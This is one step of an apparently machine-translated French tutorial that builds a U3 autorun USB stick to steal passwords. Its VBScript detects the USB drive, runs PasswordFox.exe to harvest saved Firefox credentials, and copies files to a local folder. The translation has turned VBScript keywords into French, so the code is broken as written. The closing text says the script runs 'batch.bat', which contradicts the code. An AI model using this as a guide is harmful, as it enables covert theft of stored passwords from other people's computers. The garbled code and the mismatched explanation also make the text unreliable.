Étape 5: Créer le script USB.vbs
FOSO Dim, oDrive, objFolder, oUsbDrive, oDestination, shell
USBDRIVE const = 1
oDestination = « c:\test »
Définissez FOSO = WScript.CreateObject("Scripting.FileSystemObject")
Set shell=createobject("wscript.shell")
' Obtenir la lettre de lecteur USB
Pour chaque oDrive en oFSO.DrivesSi oDrive.DriveType = USBDRIVE et oDrive.DriveLetter <> "A" Then
WScript.Echo « trouvé usb à », oDrive.DriveLetter
oUsbDrive = oDrive.DriveLetter & ": \"
Shell.Run oDrive.DriveLetter & ": \PasswordFox.exe"
Set shell = nothing
End If
Prochaine
Void CopyFiles (oPath, oDst)
Set objFolder = oFSO.GetFolder(oPath)
Pour chacun des fichiers dans objFolder.Files
WScript.Echo « Fichier de copie », fichiers
newDst = oDst & « \ » & Files.Name
oFSO.CopyFile fichiers, newDst, True
WScript.Echo Err.Description
Prochaine
« Recursive copier, décommenter si nécessaire
' Pour chaque oDir dans objFolder.SubFolders
« CopyFiles oDir.Path, oDst
' Prochaine
End Sub
Fondamentalement, ce que fait ce script est analyse l’ordinateur pour une clé USB et puis exécute un fichier appelé « batch.bat » de cette clé USB. Une fois que vous avez fait, cliquez sur enregistrer et sortie et maintenant nous pouvons graver cela sur notre lecteur U3.